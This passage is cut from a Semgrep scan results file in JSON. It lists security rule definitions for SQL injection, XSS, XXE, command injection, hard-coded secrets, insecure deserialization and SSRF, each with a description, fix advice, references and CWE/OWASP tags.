- [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n","text":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","id":"python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","name":"python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead."},"help":{"markdown":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key)\n - [http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.AutoAddPolicy](http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.AutoAddPolicy)\n","text":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","id":"python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","name":"python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","properties":{"precision":"very-high","tags":["CWE-322: Key Exchange without Entity Authentication","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities"},"help":{"markdown":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.insecure-document-method.insecure-document-method)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.browser.security.insecure-document-method.insecure-document-method","id":"javascript.browser.security.insecure-document-method.insecure-document-method","name":"javascript.browser.security.insecure-document-method.insecure-document-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.insecure-document-method.insecure-document-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","id":"python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","name":"python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","id":"java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","name":"java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information."},"help":{"markdown":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.command.command-injection-os-system.command-injection-os-system)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.command.command-injection-os-system.command-injection-os-system","id":"python.django.security.injection.command.command-injection-os-system.command-injection-os-system","name":"python.django.security.injection.command.command-injection-os-system.command-injection-os-system","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.command.command-injection-os-system.command-injection-os-system"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'."},"help":{"markdown":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#elliptic-curves](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#elliptic-curves)\n","text":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","id":"python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","name":"python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","id":"ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","name":"ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify)\n - [https://www.npmjs.com/package/jwt-simple](https://www.npmjs.com/package/jwt-simple)\n - [https://cwe.mitre.org/data/definitions/287](https://cwe.mitre.org/data/definitions/287)\n - [https://cwe.mitre.org/data/definitions/345](https://cwe.mitre.org/data/definitions/345)\n - [https://cwe.mitre.org/data/definitions/347](https://cwe.mitre.org/data/definitions/347)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token."},"helpUri":"https://semgrep.dev/r/javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","id":"javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","name":"javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","CWE-345: Insufficient Verification of Data Authenticity","CWE-347: Improper Verification of Cryptographic Signature","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","id":"python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","name":"python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-empty-password.node-knex-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-empty-password.node-knex-empty-password","id":"javascript.knex.node-knex-empty-password.node-knex-empty-password","name":"javascript.knex.node-knex-empty-password.node-knex-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-empty-password.node-knex-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON."},"help":{"markdown":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.insecure-deserialization.insecure-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON."},"helpUri":"https://semgrep.dev/r/python.flask.security.insecure-deserialization.insecure-deserialization","id":"python.flask.security.insecure-deserialization.insecure-deserialization","name":"python.flask.security.insecure-deserialization.insecure-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.insecure-deserialization.insecure-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","id":"kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","name":"kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer."},"help":{"markdown":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert)\n - [https://cwe.mitre.org/data/definitions/119.html](https://cwe.mitre.org/data/definitions/119.html)\n","text":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","id":"javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","name":"javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","properties":{"precision":"very-high","tags":["CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice."},"help":{"markdown":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#identity](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#identity)\n","text":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","id":"terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","name":"terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","id":"python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","name":"python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","id":"kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","name":"kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CodeBuild Project is unencrypted. The AWS KMS encryption key protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS CodeBuild Project is unencrypted. The AWS 